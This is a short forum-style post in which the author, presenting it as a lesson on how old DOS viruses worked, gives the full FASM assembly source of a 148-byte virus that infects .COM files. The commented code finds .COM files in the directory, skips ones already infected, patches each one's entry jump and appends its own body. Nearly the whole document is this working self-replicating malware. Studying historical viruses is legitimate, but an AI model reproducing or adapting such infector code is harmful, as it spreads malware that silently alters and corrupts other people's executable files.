Hello everybody, today I want to bring up DOS viruses. As most of us remember, viruses back in the DOS days were mostly nasty little programs made by mostly malevolent programmers. Due to the trivial nature of viruses, the knowledge of how they worked(and work still today) has been mostly lost. That's why I wrote a small DOS virus(148 bytes) to demonstrate how the little programs worked. P.S. I learned almost all the assembly I know today from programming these viruses.
Runtime COM infecting virus using FASM:
org 100h ;we're a COM file
db 0e9h, 0, 0 ; stub program for virus
start:
call begin ; gets BP
begin:
pop bp ; pop BP
sub bp, begin ; adjusts bp to current offset
mov ah, 1ah ; new DTA function
lea dx, [bp+new_dta] ; let's make a new DTA at the end of the file
int 21h ; DOS interrupt
mov di, 100h ; begining offset of COM file
lea si, [bp+bytes] ; stored bytes from overwritten code
push di ; save 100h for later
movsw ; move 2 bytes
movsb ; move 1 byte totaling 3 bytes restored (jmp = 3 bytes)
mov ah, 4eh ; find first file function
xor cx, cx ; no special file type
lea dx, [bp+comfile]; offset of comfile data
next:
int 21h
jc exit ; if no file is found, exit
open:
mov ax, 3d02h ;open for read/write
lea dx, [bp+new_dta+1eh] ;location of file in DTA (1eh)
int 21h
xchg ax, bx ;save file handle in BX
mov ah, 3fh ; DOS read function
lea dx, [bp+bytes] ; overwrite stored bytes in RAM
mov cx, 3 ; read 3 bytes
int 21h
mov ax, word[bp+new_dta+1ah] ;get file size from DTA (1ah)
mov cx, word[bp+bytes+1] ;mov CX offset from the jmp command eg. JMP XXXX:XXXX
add cx, vend-start+3 ; add 3 bytes to virus size
cmp ax, cx ; compare the two
jz close ; if equal, then infected close it
sub ax, 3 ; subtract 3 from file size for jmp
mov word[bp+newjump+1], ax ; move AX (jmp location) to newjump
mov ax, 4200h ; seek to beggining file
xor cx, cx ; zero CX
cwd ; Convert Word to Double word(converts word in AX to double word held in AX:DX, therefore both are zeroed)
int 21h
mov ah, 40h ; write function
lea dx, [bp+newjump] ;location of new jump
mov cx, 3 ;write 3 bytes
int 21h
mov ax, 4202h ;seek to end (al = 01, 02, 03 means from begining, current pointer, or end respectively)
xor cx, cx ; same tricks
cwd
int 21h
mov ah, 40h
mov cx, vend-start ;find virus size by subtracting the EOF from BOF
lea dx, [bp+start] ; write from the begining
int 21h
close:
mov ah, 3eh ;close file handle
int 21h
mov ah, 4fh ;find next file using the same '*.com'
jmp next
exit:
mov ah, 1ah ;restore DTA to it's original place 80h in the PSP
mov dx, 80h
int 21h
ret ; return to 100h. Remember that 'PUSH DI' earlier
comfile db "*.com", 0 ; comfile wildcard, NULL terminated
bytes db 0cdh, 20h, 0 ; restore bytes(translates into 'INT 20h' for the initial host, but is overwritten later on)
newjump db 0e9h, 0, 0 ; new jump waiting for parameters
vend: ;end of code
new_dta db 42 dup (?) ;new DTA. The DTA is 42 bytes in total, but since it is just zeros, it can just take up the slack space after a file